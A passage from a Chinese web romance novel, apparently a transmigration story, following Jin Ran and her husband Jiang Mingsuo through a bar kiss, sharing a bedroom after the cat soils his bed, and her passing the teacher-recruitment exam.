两人刚坐下,就有酒侍过来推销酒水。 对方年级不大,看着竟然和江许黎差不多,穿着酒吧一起发的工作服,张嘴便是热络的讨喜话,有着不符合这个年纪的成熟和油滑。 不过考虑到明天早上就要走,他们最终还 是没有买,等酒侍带着东西离开,金苒忍不住看向江明羧——男人眉眼冷峻,唇角微抿,浑身上下透着股生人勿近的气息。这样的他当年居然在酒吧打过工,到底是怎么把酒推销出去的? 这样想也便这样问了。 谁知江明羧半点不谦虚:“看脸。” 金苒:“……” 见金苒露出无语的表情,江明羧嘴角翘起,一瞬间倒显得不那么冷漠。 他说的是实话,来酒吧玩的除了男人还有女人,其中不乏愿意花钱买酒的女人,而他长相一向不错,那些有钱的女人愿意给个面子,有时候一晚上能拿到几百块的提成。 金苒越听越觉得不对劲。 想象中被压迫的小可怜的画面并没有出现,反而有一群富婆姐姐照顾生意,她怎么觉得还挺不错的? 虽然知道江明羧没有受苦是件好事情,但心里莫名有些奇怪,她哼了哼,突然把水杯往桌上一搁,抬着下巴道:“给我倒杯水,倒的好有奖励。” 江明羧眉梢微挑。 “什么奖励?” 他态度自然,一点儿也没有害羞的样子,金苒又是哼了哼:“别忘了你还欠我两次报酬。” 江明羧:“确定要用一个报酬交换?” “你就说你愿不愿意吧!” 回应她的,是修长的手指拎起玻璃水壶,慢条斯理地倒了杯温水推过去。 “就这?”金苒故意刁难,“我花那么多钱,还让我自己动手喝啊。” 江明羧低笑一声,当真端起水杯递到她唇边:“说得对,不能让客人主动。” 两人离得近,低沉的嗓音便在耳边炸开,激起酥酥麻麻的痒意,金苒只觉得脸颊如刚出锅的白面包子,热腾腾的。 而江明羧喂完水后,并没有退回去,目光深沉,指尖若有似无地蹭掉唇角的一滴水,金苒一顿,睫毛轻颤着闭上了眼睛—— “是你?!” 一道惊喜的男声突兀地插进来,金苒险些吓得心脏骤停,条件反射一把将人推开,转过头时看见个一个年轻男人正惊喜地盯着她:“没想到在这遇见你!” 角落里,被推开的江明羧掀起眼眸,目光落到来人身上,颇为发凉。 第77章 第77章太太要和先生睡同一个房…… 或许金苒脸上的迷茫太明显,即便隔着五光十色的灯光都轻而易举传递过来,男生略微有些失落,但还是主动道:“上次在虞山酒店,我们一起去吃过自助早餐。” 金苒想起来了,是那个特别自来熟的男大:“好巧啊,你怎么在这里?” “我老家在这。”男生羞涩地挠了挠鼻尖,“那个,你自己一个人吗,不如过去和我们一起玩吧,等会儿酒吧会放开舞池。” 他指了一个方向,顺势望过去,几个年轻人坐在吧台前,正嘻嘻哈哈朝这边看。 如果金苒是自己一个人出来,她或许会答应,但现在:“抱歉,我不会跳舞,你们玩吧。” 男生并未放弃:“其实我也不特别喜欢跳舞,不如我陪你去其他地方……” 话还没有说完,旁边突然伸出一只手,非常自然地搭在金苒的肩膀,然后将人揽入怀中。 “不用了,我的太太我会自己陪着。” 江明羧淡淡看过去,他姿势随意后仰在沙发上,衬衫解开四颗扣子,露出半个胸膛,漆黑的眸子盯着男生,压迫感十足。 男生顿时僵在原地。 自从上次酒店一别后,他心中便念念不忘,刚才看到金苒的一瞬间,他甚至怀疑自己喝醉了酒,以至于眼睛里只剩下金苒,哪里注意到坐在黑暗处的江明羧。 金苒表情却有些古怪,甚至觉得新奇,这个男人……是在吃醋吗? 不过眼下显然不是纠结这些的时候,她压下各种心思,看向对面的男生。 如果说之前还没察觉,这会儿却是已经猜到对方的心思,既然如此,她肯定要保持距离。 于是故作不知的样子,礼貌介绍:“这是我先生,我们马上就要离开,下次有机会再玩吧。” 男生一听,最后一点儿希望也破灭了,整个人像泄了气的皮球,蔫哒哒地走了。 金苒松了口气,刚转身,却猝不及防被一股力道扣住手腕。 江明羧的唇已经压了下来。 舞池的音乐恰好切换成慵懒的蓝调,鼓点沉沉,这一方昏暗的角落无人注意。 江明羧的吻带着不容拒绝的强势,掌心牢牢扣住她的后脑,另一只手却掐在腰侧,指尖微微陷进柔软的衣料,像是要确认存在。 但他的动作又是温柔的,唇齿间的厮磨带着小心翼翼的克制,仿佛对待什么易碎的瓷器。 金苒顿了顿,随即闭上眼,攥紧了他的衬衫前襟。 他怀疑,她便一遍遍给予确定,他霸道,她温和的同时也探出小爪牙。 都说女人容易心软。 金苒一开始只觉得这个男人神神秘秘的,让人摸不透。后来了解他的过去又产生了某种心疼的情绪。 没有哪个女人可以平静对待喜欢的人的前任。 尽管她也有许多男朋友,但他没有见过不是? 矛盾的内心,带着点儿理所当然和蛮不讲理,在得知他们结婚的真相,离婚的闹剧时烟消云散。 说实话,有点惨。 女人不愿意听现任的前任,男人也无法接受被戴绿帽。 无关感情,是本身魅力的一种评判。 于是那点儿针眼似的小小心思都没了,至少这一刻,她抱着江明羧的胳膊越来越紧。 后面分开的时候,两人呼吸都有些喘,江明羧抵着额头,声音沙哑地问:“你叫什么?” 金苒还沉浸在刚才的“狂风暴雨”中,没有反应过来:“我叫金苒啊……” 江明羧眼神深黯:“你原本的名字。” 这次金苒听明白了,认真道:“金苒。” 她原本的名字就叫金苒。 金显其锋芒,苒苒物华休,看似柔弱的草本,实则有着岁岁枯荣的韧性。 / 回到宾馆已经是晚上十点。 前台正在玩手机,看到他们回来,连忙把放在她那儿的奶茶拿出来:“是和你们一起来的那个同伴买的。” 江明羧挑挑眉:“小黎买的?只有一杯?” 金苒尴尬极了,问偷偷喝奶茶被发现怎么办,她咳了咳说:“晚上喝奶茶不好,所以只买了一杯,我们两个分着喝。” 江明羧没有戳穿他们。 到后面,那杯奶茶还是全部都进了金苒的肚子。 也是如此,以至于咖啡因过量,熬了半宿都没有睡着。 第二天去机场的路上便昏昏沉沉,上了飞机更是直接秒睡,直接错过了好好告别虞山的机会。 精神逐渐回神时,他们已经落地A市,小孙开车过来将三人接回别墅,等看着程管家和王厨他们真心的笑脸,金苒才真正有种脚踏实地的感觉。 她回来了。 旅游虽然让人放松,但在外面待久了,她发现最舒服的地方还是自己家。 因为耽误了三天时间,江明羧简单收拾了下便去了公司,江许黎则把自己买的特产拿出来,给陈训良送过去。 没办法,对方知道他从虞山回来,争着吵着要给他办接风宴。 江许黎去到地方,才发现除了陈训良还有其他篮球小队的成员,大家还和之前一样热情,不过他的视线落到角落里安静的少年身上,皱了皱眉:“他怎么在这?” 陈训良够来勾肩搭背:“哎,我们来的时候看见他蹲在路上无聊到数蚂蚁,所以把人带来一起玩了。” 好歹是他黎哥救的人,一个人玩还怪无聊呢。 江许黎对陈训良的自作主张表示了无语,但也没有说什么,他记得金苒和魏岑的姐姐关系不错,就 当帮忙带小孩了。 一行男生没有什么好玩的,去游戏城里大杀四方,江许黎做事向来如此——要么不做,要做就一定要做到最好。 知道魏岑和其他人不一样,他便主动带着对方玩。开始前他还提醒自己要有耐心,谁知游戏开始后,魏岑每个项目都能一次通关。 江许黎:“……” 突然,游戏城响起一个特殊的音乐,众人一开始听到还有些茫然,直到经常来这儿玩的陈训良大呼:“这是打破记录的音乐,有人打破记录了!” 顿时,一众少年激动起来。 而江许黎看着旁边机器上的通关画面,心里隐隐有个猜想。 下一秒,他的猜测就被证实了,游戏城的负责人满脸笑容地出现,他手里拿着好几样奖品送到魏岑面前:“恭喜三十二号机子破纪录,这是我们的奖品。” 魏岑显然不习惯这么多人围着,他下意识低头后退半步,手指无意识地攥紧了衣角。 见状,原本还有些酸的江许黎立刻上前将人挡在身后,同时替他接过那些东西。 后面越来越多的人围上来凑热闹,一行少年不得不先离开,等到空阔的地带,魏岑才放松下来。 大家纷纷打趣他真人不露相,魏岑不明所以,他把刚才的奖品递给江许黎。 后者愣了愣。 江许黎不是个热情的人,在学校更是出了名的独来独往,以前从不觉得这有什么不妥,可此刻脑海中突然闪过那些曾经不以为意的话——“赠人玫瑰,手有余香”,“独乐乐不如众乐乐”。短短时日里,他不仅有了并肩作战的球友,还收获了别人的感谢。 仿佛做梦似的。 这一刻,江许黎觉得自己成长了,他正要伸手接过来,忽而听到魏岑小声激动道:“给金老师。” 江许黎:? “金老师喜欢我,我给金老师。” 江许黎:??? 等等金老师喜欢谁,你再说一遍??? 他简直气笑了,抢人抢到他这里了是吧?! 还有,谁说那个女人喜欢魏岑了,他和她可是没有血缘关系的继母子!孰轻孰重分得清了吧! 这样想的江许黎,早就忘记了几个月前,自己冷脸要求当陌生人的事情。 / 待在别墅的金苒哪里知道外面有人为了她打的“腥风血雨”。 先泡了一个花瓣澡,好好护肤,而后躺在阳台的躺椅上,美美吃着佣人切好的果盘,人间闲适不外如是。 不过她没有忘记给徐珍打电话询问王萍萍的事情。 得知对方家长不死心,竟然想偷偷把孩子送走,金苒实在不知道该说些什么了。 徐珍气道:“要不是班主任及时发现,连夜把孩子带走,王萍萍现在已经被送上火车了。” 金苒皱了皱眉:“江明羧说明技那边可能会有实习岗位,等晚上我再问问他。” 都是打工,后者好歹算是一种学习实践,真让家长把孩子送去南边,估计每天都是洗碟子刷碗。 两人简单聊了几句,刚挂断电话没多久,手机铃声又响了起来。 金苒还以为是徐珍忘了交代什么事,接起来却听到魏雅的声音,对方没有卖关子,而是直截了当地说:“金小姐,陈导想邀请您出演他的新剧。” “什么?”金苒脸上露出迷茫。 陈导她认识,但对方为什么要邀请她出演啊? 不等疑惑,对面的魏雅就告诉了她答案。 “陈导听说我认识您,所以让我帮忙转达他的态度,如果您愿意参演,可以给您四级片酬。” 金苒却是听明白了,陈导选择通过魏雅而不是更熟悉的江明羧,显然不知道自己和江明羧的关系。 对方给出的片酬对新人来说相当优厚,远超过她的工资水平。但金苒仔细斟酌后,依然婉拒了这个机会。 一来她志不在此,从未想过涉足娱乐圈;二来公众人物注定要活在聚光灯下,一举一动都被无限放大。她见过太多明星爆红后的处境——家中被狗仔蹲守,无心之言被断章取义,就连不知道哪里冒出来的粉丝行为也要偶像买单。金苒自认承受不了这样的压力。 至于她不一定会红?金苒根本没有想过。 她不做就算了,要做肯定做到最好。 而且娱乐圈赚钱快,失业也快,无论是上辈子还是下辈子,她的目标都是吃上国家的铁饭碗,过平平淡淡的生活。 想到这,金苒不由得默默计算时间。 距离教师编面试已经过去一个多月,也不知道什么时候发布成绩。 傍晚,江许黎从外面回来。 手上提着两大袋子的东西,径直走到二楼金苒的房间门口,敲了敲门。 “陈训良他们非要买,有点多,我一个人吃不完。” 他表情自然,金苒看着满满的袋子自然是欣然同意。 两人来到餐厅,一边看电视一边吃零食,即便从里面吃出来一个毛绒小熊,金苒也只以为是零食自带的东西。 突然,二楼传来程管家的惊呼声,金苒和陈训良对视一眼,不明所以,没一会儿,程管家抱着小三花的前腿,急匆匆地从二楼尽头的房间泡出来,金苒刚走近,便闻到了一阵难言的味道。 她连忙后退了几步:“这是……拉了?” 程管家有些着急:“可不么,刚才没注意让它跑进了房间,而且拉到了江总的床上。” “拉到哪?”金苒震惊地瞪大眼睛,她看看管家,又看看无辜喵喵叫的小三花,最终是没忍住“噗嗤”笑出声。 江许黎更是毫不犹豫,跑到二楼看热闹。 等从房间出来后,少年脸上已经也带上了浅淡的笑意。 程管家都要无奈了。 他赶紧指挥佣人清理小三花“犯罪”现场,自己抱着猫去浴室梳洗。一边忙着给小家伙擦干毛发,一边联系家具商送张新床过来,眼看着先生就要到家,总不能连张像样的床都没有。 可没想到,厂家那边暂时没有合适的床铺。 这可让程管家犯了难。 按理说,二楼还有一个主卧,也就是金苒住的那个,一楼和三楼有四间客房,但就是因为房间太多,反而拿不定主意收拾哪一间。 不过他没有为难太久,现在和以前不同,别墅里有另外一个主人。 “……太太,情况就是这样。” 程管家将事情原委道来。 金苒思考:“所以今晚那间房没法住人了?” “问了几家相熟的家具商,都说临时调不到合适的床。”程管家斟酌着开口,“您看要不要暂时让先生住到……” 程管家本意是询问空出哪一间客房好,金苒却误会了,以为问的是自己的卧室。 作为二楼的主卧,金苒的房间足有三十多平,床也是两米五的大床,当然,两米五是她的目测,真实宽度可能还要长一点。 反观江明羧的房间只有十几平,有些蜗居的感觉。 想着反正在虞山的时候他们已经睡过同一张床,如今也没有什么矫情的,而且江明羧本来就不喜欢猫,因为她和江许黎喜欢,才选择让步,如果让他知道小猫在他床上又拉又尿,说不定会把小猫扔出去。 她果断点点头:“行,那搬到我房间吧。” 程管家一愣。 太太要和先生睡同一个房间? 他还记得当初太太嫁过来的时候,以怕打扰先生的睡眠而要求分房而睡,虽然他觉得有些奇怪,但先生答应了,而且把主卧让出来给太太,自己则住到了二楼尽头的房间。 怎么太太现在突然改变主意了? 心里虽然疑惑,面上没有表露出分毫,作为别墅的管家,程管家深谙分寸之道,从不对雇主家的决定妄加置评,更何况,先生太太感情和睦,这 本就是件值得欣慰的事。 程管家得到准话,立刻下去准备,待一切收拾妥当,院外传来汽车引擎的声响。 江明羧迈进门厅,目光扫过空荡的客厅,不见人影,便径直上了二楼。 他像往常一样推开房门,可随即动作却变得凝滞——入眼是早已搬空的卧室,本该放着床铺的位置更是空空如也,衣柜敞开着,里面一件衣物都不剩,整个房间干净到像是从来没有住过人一般。 如果不是白天他曾经回来过,恐怕以为自己在做梦。 江明羧沉思了下,转身去寻程管家。 “哦,是太太吩咐把您的物件都挪去主卧了。” 程管家笑呵呵道。 江明羧顿住。 “搬到主卧?” 他语气有些奇怪,第一反应便排除了“因为自己”这个可能,这点自知之明江明羧还是有的,金苒虽然对他有意,却绝不是会为男人改变自我的性子。 虽不了解她的过往,但相处中能明显感觉到,这是个看着温软,实际感情独立的姑娘。 果然,程管家把小三花做的事情说出来,江明羧听完后表情未变:“她现在在哪?” “在三楼和少爷打游戏。” 江明羧颔首,并没有去打扰他们。 七点钟,王厨做好晚餐,江明羧亲自上楼叫人,刚到门口就听见游戏房里鬼哭狼嚎的尖叫。 “啊啊啊,它来追我了,怎么办怎么办!”——这是不听指令擅自行动的金苒。 “你怎么又冲上去了,啧,快把炸弹扔过来!”——这是高水平选手江许黎。 结果说完之后不到一秒钟,江许黎操作的角色也因为缺少同伴配合,只差一秒钟被boss绝杀。 空气沉默下来,这时候,江明羧走进来:“完了吗?王厨做好饭了,今晚有油爆虾。” 油爆虾是家里所有人都喜欢的食物,但此刻也激不起金苒的兴趣:“还差最后一个boss,死活打不过去。” 江许黎哼了声:“要不是你总乱跑,早过去了。”他水平再好,抵不住这是双人合作的游戏,自己一个人很难过关。 金苒不服气:“分明是你太菜!” 江明羧看了一眼屏幕,走到金苒身边坐下:“这个怎么玩?” 金苒瞬间抛弃江许黎,问:“你要玩吗?” “嗯,试试。” 试试就试试。 江许黎直接把自己的手柄递给他爸,说实话卡了半小时他都快要破防了,他并觉得他爸能通关,毕竟从来没有见过他爸玩游戏:“操作很简单,X是互动,Y是冲刺,B是跳跃,A是取消互动。” 讲解的时候倒是没有保留,江明羧也很聪明,稍微操作了一下便能上手,然后便开始尝试两人迟迟无法通关的关卡。 前两次毫不意外,刚出安全区域就被boss碾杀,江许黎忍不住道:“这个是双人游戏,需要两个人配合一边走一边运炸弹,但炸弹时间有限,不能在手中停留太久。” 江明羧不置可否。 他转变策略,让金苒每次只移动一个格子,因为移动距离短,金苒不再手忙脚乱。他自己找机会飞快移动,最后成功到达终点。 而这个时候,炸弹保留在他的手中,boss自然放过了金苒,后者趁机冲刺过去。 江许黎:“???” “成功了!” 相比较而言,金苒则是高兴极了,欢呼和游戏里的音效重合,她不敢相信居然这么简单就过了,眼睛亮晶晶地看向旁边:“太厉害了!你怎么连这个都擅长?以前玩过?” 江明羧放下手柄,唇角微扬:“没有,不过这些游戏的原理都差不多,玩几遍就能摸清套路。” 闻言,金苒立刻斜眼瞥向一旁憋屈的继子,那眼神看得少年人脸色通红,跳脚道:“我也可以通关,刚才不算!再来一局!” “先吃饭。” 江明羧却站起身,“油爆虾凉了不好吃。” 金苒当即点头:“没错没错,先吃饭!”成功通关的她重拾对油爆虾的热爱,哪来还有心情打游戏啊。 话虽如此,但吃完之后,他们还是没有再继续。 佣人下班是之前,已经处理好一切。 如今江明羧的物品都被挪到了主卧,金苒打开衣柜门时已经有所准备,但看到自己的私人内.衣大大咧咧暴露在视线中,莫名觉得不好意思,便用一件外套盖在上面。 而后她拿着换洗衣物,趁江明羧还没有过来,赶紧去浴室洗了个澡。 等她人生第一次用二十分钟洗完澡,刚洗完从浴室出来,那边,江明羧正巧推门进来。 第78章 第78章不愧是年轻人,体力就是…… 两人都怔了下。 随即若无其事地移开视线。 金苒擦着头发走到床榻边坐下,尽量让自己看起来和平常一样稳静:“我洗完了,热水还有,你要洗的话可以用。” 江明羧咽回想说自己去另一间浴室的话,点了点头,取出换洗衣物,转身走进了浴室。 然后他就后悔了。 或许是因为金苒刚洗完澡,空气中还蒸腾着热气,白蒙蒙的水雾让狭小的空间格外闷热,置身其中,呼吸都似乎都变得黏腻起来。 更不论说鼻尖充斥着的各种陌生又熟悉的香味,丝丝缕缕,无比霸道地彰显着另外一个人的存在。他只能在这种香气中,快速冲洗了一下,连水珠都没有擦干便穿上衣服。 等出去的时候,时间才过了五分钟,金苒都惊讶了。 “这么快?” “嗯,白天洗过,这次就简单冲一下。” 金苒好笑:“早就听说你们男生洗澡快,我现在终于信了,刚才还听见水声,一转头人就出来了,你们男生是不是生下来自带指标?” 江明羧手指微微一顿:“……什么?” 金苒:“省水啊。” 她盘腿坐在床边,露出的小腿白皙又流畅,此刻眉眼弯弯,开玩笑道:“为国家资源做贡献,值得尊敬,特颁发硕果湾A03节水标兵称号。” 江明羧顿时忍俊不禁,试着回答:“那我,谢谢你?” “不谢不谢,以后继续努力就好了。” 几句玩笑之后,倒是没有了紧张的氛围。 江明羧吹干头发便去书房处理公司事务,金苒闲着无事,索性提前准备下学期的教案,反正只是打发时间,在哪备课都一样。 她干脆整个人倒挂在床边,双腿高高搭在墙壁上,一边翻着教材一边做腿部拉伸,倒也不耽误正事。 十点钟,江明羧回来,简单收拾了下,两人并排躺下。 床铺很大,比虞山宾馆还要大,加上江明羧呼吸浅,金苒甚至不仔细注意,会忽略掉旁边有个人的事实。 这样的空间给了人安全感,金苒便侧过身枕着胳膊和他聊天:“我今天问徐雅,王萍萍父母还没有死心,你们上次说的实习机会有可能吗?” 见江明羧半晌没有说话,她忍不住道:“你不会是忘记了吧?” 江明羧还真是忘记了。 他回来这一整天时间全在处理积压的工作,这会儿被提醒才想起来。捏了捏鼻梁:“是我疏忽了,明天就帮你问清楚。” 这下换金苒不好意思了,人家一个公司总裁,特意跑去虞山接他们,已经很是xxxx,自己不体谅反而还催促:“哎呀,我不是催你啊,而且你那边不行的话,我还可以问其他人,不用有压力。” 江明羧觉得好笑:“你还想问谁?” 金苒本是随口一说,这会儿经他一问,脑海中反而真的冒出几个人选:“比如林太太,鹿太太,小薛总……实在不行还能问校长啊,总归是文承的学生,他肯定不能不管。” 一个个流畅的名字从嘴里念出口,金苒突然惊奇的发现,原来不知不觉中,竟也积累起了不菲的“人脉”,这些人或是点头之交、利益交往,或是早就成为真正的朋友,但无论如何,她不再是穿越之初那个形单影只的孤家寡人了。 她融入了这个“书中”的世界,真正在这里扎根。 无关于爱情和家庭,而是她本人,作为独立的个体,长出了属于自己的根系与枝桠。 一夜安稳无梦。 第二天,江明羧是被一股重力给踹醒的。 他颇有些茫然地睁开眼,就看到昨晚入睡前还板板正正的金苒,这会儿早就放 飞自我占据了床铺三分之二的空间,那姿势之扭曲,很让人怀疑她是怎么做到的。 江明羧低头,自己腹部正压着一只白皙的脚丫——从受力角度判断,刚才那阵剧痛显然就是拜它所赐。 更惊险的是,差一点点,那只脚就踩到了不该踩的地方。 江明羧深深沉默了。 便是商业场上再叱咤风云的人,睡觉时也是不设防的,他想,为了自己的安全,或许以后该背对着她睡? 又或者,像在虞山时那样,提前将人固定在怀中? 正思考着,床上的人突然一个翻身,江明羧条件反射般往后躲,却见对方只是像烙饼似的,咕噜噜滚到了床的另一侧。 江明羧果断放弃了回笼觉的打算,他利落地换好西装,临走前不忘在床沿摆了一圈的抱枕。 对此,金苒一无所知。 甚至几日“相安无事”后,金苒不得不感慨江明羧这人能处。 看着凶巴巴的,和西装暴徒似的,没想到人还挺柳下惠呢。 不过她也没有多想,两人见面的时间实在少得可怜,江明羧早起贪黑地上班,而她虽还未开工,但白天需要去驾校练车,哪怕有面子在,教练请的是私人教练,但驾照却需要她亲自去考。 只有晚饭,以及晚上九、十点后的睡觉时间,两人才短暂的交集。 而且很快,另外一件事占据了金苒全部的注意力——教师编的面试成绩出了。 一同出的,还有笔试+面试综合成绩排名,以及当次入围体检名单公示。 彼时,家里只有金苒和江许黎。 江许黎莫名紧张起来,不止如此,三班的班级群里早已炸开了锅,学生们一个接一个地刷屏,都在为金老师祈祷:“你课讲得很好,这次期末考试班上好多同学的数学成绩提高,连陈训良万年倒数第一也考了好成绩,只要监考不瞎,肯定能过。” 说到这,他脸色一变,“等等,你们这个考试的监考严格吗?会不会出现作弊现象,公信力强不强……” “停!” 金苒无奈极了,不知道的还以为要查成绩的是对方呢,而且再不阻止,这位话少的冷酷校草,不知道要说出什么大逆不道的话。 “监考严格,不会作弊,公信力很强。” 闻言,江许黎松了口气。 但他还是绷着脸提议:“要不我帮你看?” “还是算了。” 她怕他会当场晕倒。 而且这件事情算是她穿书以来唯一坚定的一件事情,努力了这么久,最后的成绩当然也要自己看,金苒深吸一口气,下定决心,她果断握住鼠标,点下按钮。 事后回想起来了,金苒已经忘记当时的感受,她只记得自己看到成绩做的第一件事情,就是转过头握住江许黎的肩膀:“给我拍张照。” “什么?” 金苒一本正经:“我发朋友圈。” 试问上岸的第一件事情是要做什么? 每个考公考编人的答案都出奇一致——必须发一张配文“轻舟已过万重山”的胜利宣言。 / 明技科技。 江明羧去会议上开会的路上,突然想到什么:“今天是24号?” “是的,阳历7月24。” 王特助不知道江总为什么会专门询问,仔细回想也没发现24号有什么特别之处,为了避免遗漏重要事项,他谨慎地问道:“江总,今天是否有需要特别注意的大事?” 江明羧已经看到了朋友圈的消息。 他关掉手机,勾勾唇角:“嗯,家属的大事。” 王特助不愧是特助,对于老板家的私事了如指掌,不知道从哪个旮旯角找到了点儿印象:“是太太考过了教师编了?” 江明羧颔首:“差不多,后续还需要体检和政审。” 但这两项内容基本不会出现差错,也就代表着金苒基本上已经考下教师编,王特助笑着道:“这是一件值得庆祝的事情,江总可要给太太好好庆祝一下。” 江明羧正有此意,恰好两人到了会议室门口,话题暂时搁置,进入到正事中。 傍晚,金苒在收到多方庆祝后,接到了江明羧的电话。 “晚上要不要出去吃饭庆祝一下?” “你知道了?”金苒笑起来。 “嗯,看到了你的朋友圈,不过以你平时的努力,这个结果没有意外。” 谁不爱听好话呢,尤其是今天这么多人里,只有江明羧说这成绩是她应得的,金苒笑容更加深:“那你定地方,到时候我们去找你。” 路过的江许黎脚步慢悠悠停下来,电话一挂便装作不经意地问:“晚上要出去?” 金苒挑眉:“对啊,你有空吗?” “咳,我晚上倒是没什么特别的安排……” “那就这么说定了!” 欢喜的事情和亲近的人分享,获得加倍的欢喜,至少在这个世界里,江明羧和江许黎是她最想分享欢喜的两个人。 / 江明羧选的是一家泰餐。 味道一如既往的好吃,而在饭后,金苒又拿到了一张会员卡,并接受了餐厅所有服务员对其表达了最尊贵的注目礼。 “这家餐厅的老板很有经商头脑,搞得我以后都不好意思不来了。” 等踏出门,金苒小声悄悄感慨。 “嗯?”江明羧鼻腔里发出疑问,“为什么?” “他们让我觉得这里是我家。” 打着如至宾归旗号的餐厅很多,但真正做到的,恐怕只有这家店。 江明羧嘴角微扬:“既然喜欢,那以后再来。” “好啊。” 三人往底下停车场走,与此同时,另外一群年轻人也往车库来。 其中一位看到了金苒,惊讶开口:“金苒?好久不见,你生病好了?” 金苒停下脚步。 是原身认识的人? 她心中震惊,面上不动声色,“好巧啊,你也来附近玩吗?” “对啊,我们来这边吃饭。”女孩很健谈,交谈中金苒才意识到自己猜错了,对方并非原身的朋友,而是有过一面之缘的“病友”:“那时候你脑震荡还没好,医生不让你出院,你却坚持要走,我还挺担心的。” “当时有点急事。”金苒只能含混解释。 天知道原身居然出过车祸,而且病没好便要离开医院,怎么越听越像是某种文学? “我猜也是。” 女孩又关心了几句,确认曾经遇到的“病友”的确没事,又看到一旁等着金苒的两个大帅哥,识趣地告别。 直到分开时也没有交换联系方式。 这段萍水相逢的缘分,除了医院里那段相.交.外,就只剩下心底那一丝若有若无的牵挂,如今,这份牵挂也终于可以轻轻放下了。 故事到这里,画上了句点。 不过江许黎有些担心:“你真好了?要不要去检查一下?” 金苒回过神,挑了挑眉:“我看着像不好的样子?要不然 再给你出两套卷子?” 江许黎瞪大眼睛,第一次见狗咬吕洞宾,不识好人心的! 金苒心里却没有表现出来的这样轻松。 原身的古怪总让她有种不可控制的感觉,好像哪天便有意想不到的事情发生。至于身体检查,上次入职已经查过,没有发现问题,而且过几天还会有新的一次体检。 她忍不住看向驾驶位置的明羧,这个男人从头到尾没有任何表态,连听到她生病也一脸平静,仿佛根本不在意,又开始有点儿生气。 一生气,就不容易哄了。 晚上睡觉的时候,金苒故意抱着被子从书房经过。 江明羧注意到了,视线锁住她:“去哪儿?” “哦,隔壁房间的窗户大,我去那儿睡。”金苒语气干巴巴。 早在昨天晌午,程管家和家具城定做的单人床就已经运送过来,并安置在原先的那个房间。 然而也就只有一张床了,空空荡荡连床垫都没有,其他生活用品程管家更是遗忘性地没有添加。 金苒这样说,只是为了达成目的罢了。 如她所料,江明羧看见后便放下钢笔,从书房走出来。 男人步履从容,每一步落下相同节点,在距离她半步之遥时站定,微微垂眸:“怎么了?” “什么怎么了,”金苒哼了哼,概不承认,“我晚上睡觉姿势不好,怕打扰你,所以干脆去其他房间。” “没事。”闻言,江明羧下意识回答。 “好啊,难道你不应该说没有打扰吗?!”哪曾想,金苒瞬间抓住了漏洞,不可置信地瞪大眼睛,“你果然嫌弃我打扰你!” 江明羧:“……” 事实证明,永远别和女人辩论逻辑,她们总能在你最松懈的瞬间,直击要害。 这场闹剧最终以江明羧的妥协收场——他亲自把金苒的枕头送回卧室。 好在第二天金苒就恢复了正常,想到自己因为一点点小问题就耍小性子,金苒甚至羞耻心发作,脚丫在地上抠出一室三厅。 生病的是原身,江明羧知道她和原身是两个人,并非不关心她。 想明白这一点,金苒心里那点小疙瘩也就慢慢消散了。 倒是江明羧,始终没明白女人生气的缘由,后来也渐渐被他遗忘。 哪里会想到,在不久的将来,这件事“狠狠”打了他一个回旋镖。 / 名单公示后,按照录用的人员去指定医院体检,然后提交政治审核。 之后则是差不多两周的等待,然后在教育.局.官网公布录用名单。这一点得亏A市属于经济发达的城市,用的时间少,有些地方只是体检和政审,就要长达一个多月的时间。 不过在此期间,林太太的服装店落幕了。 开业那天,林太太邀请金苒去参加开业仪式,同去的还有许多豪门太太、富家千金,甚至几位娱乐圈明星,大家为林太太的“服装品牌”捧场助阵,短短的时间内,竟在网上打出了一定的名气。 这让金苒再一次意识到,人脉的重要性。 而她也没有放弃这么好的机会,认识了几位聊得来的朋友,趁机拓宽自己的交际圈。 后面见林太太实在忙碌,金苒体贴地没有凑上去,而是悄无声息地离开。 又过了几日,林太太那边终于闲下来,第一件事情就是打电话约金苒喝下午茶。 “正好你订的几身旗袍做好了,来的时候顺便带回去。” 之前江明羧去国外出差,回来时给金苒带了一串极光珍珠的项链,她为了搭配项链,特意向林太太定做了几件旗袍。 时间久了,她都快忘记了。 “那我等会儿就过去。” 因为没有合适的衣服,金苒把项链收了起来,这次拿出来一看还是很漂亮,晶莹的珠子圆润滑顺,贴合在脖颈处,仿佛打了一层薄薄的珠光,连肌肤都镀上了朦胧的柔光。 同管家说了一声,便出门赴约。 林太太家住的也是别墅,比江家的别墅还要大,就是地方有些偏僻,金苒在门口按铃,进去后还要坐上一个观光车,一路从院门口开到主楼前面。 门一打开,林太太喜笑颜开:“哎呀,可算把你盼来了。” 金苒适时把花和礼品递给保姆:“一点小心意。” 别看圈子里非富即贵,但越是有钱人越容易膨胀傲慢,像金苒这样做事面面俱到的相处起来格外舒服,林太太拉着她往更衣室走:“先去试试那几件旗袍,我都等不及看你穿了。” 金苒也想看,遂没有推脱。 等换上旗袍,她站在镜子前微微怔住,镜中人腰肢纤细,双腿修长,胸臀的曲线将旗袍撑得恰到好处,既不过分紧绷,又完美勾勒出曼妙身姿,还有那股子气质,简直又书又魅。 这,真的是她? 林太太同样震惊,围着转了两圈,连连称赞:“我都不敢相信这是我做的衣服,实在太漂亮了,不如你摆几个姿势让我拍几张照片,后续我拿去当展示图,放心,价格和外面一样!” “钱就算了,不过记得到时候给我脸打马赛克。”金苒笑了笑,随即大方地摆了几个姿势。 别说,还真有民国那股味。 众所周知,镜头会放大人外貌的缺点,许多现实中好看的人上镜后都会变丑,可林太太打量着手机里的照片,怎么也看不出瑕疵来,每一帧仿佛像是精心修过的画报。 越看越满意,比她请的那些模特还要好看,她揶揄道:“要是让你家那口子看了,估计都得把持不住。” 金苒脸颊发烫,有时候实在招架不住林太太的直白。 “这有什么,”林太太一脸你们年轻人不懂的表情,“夫妻之间不就这么回事嘛,” 想起听过的传言,林太太八卦着问,“说起来,你和江总多久一次?” “咳咳。”金苒被呛到了,顶着林太太八卦的目光,感觉头都大了,如果她不说对方说不定一直惦记着,只好硬着头皮搪塞:“额,也不经常,一星期两三次吧。” 谁知林太太眼睛都亮了:“不愧是年轻人,体力就是好,不像我家那个半年一次,吃药都不管用,江总真的宝刀未老啊。” 金苒:“……” 她后知后觉意识到,自己似乎、好像、一不小心,就给江明羧立了个“不得了”的人设。 第79章 第79章亲亲.jpg 新商场建成,许多品牌合作入驻。 对于明技这样的大客户,负责人自然是热情相迎。签约仪式在四楼举行,双方约定今后明技将在商场设立常驻展位,每周固定驻场半天。 做完这一切,时间已过半数。 江许黎婉拒了饭局邀请,刚从招商处出来,却意外撞见一个熟人。 他眉梢微挑,那不是金苒的后代人吗? 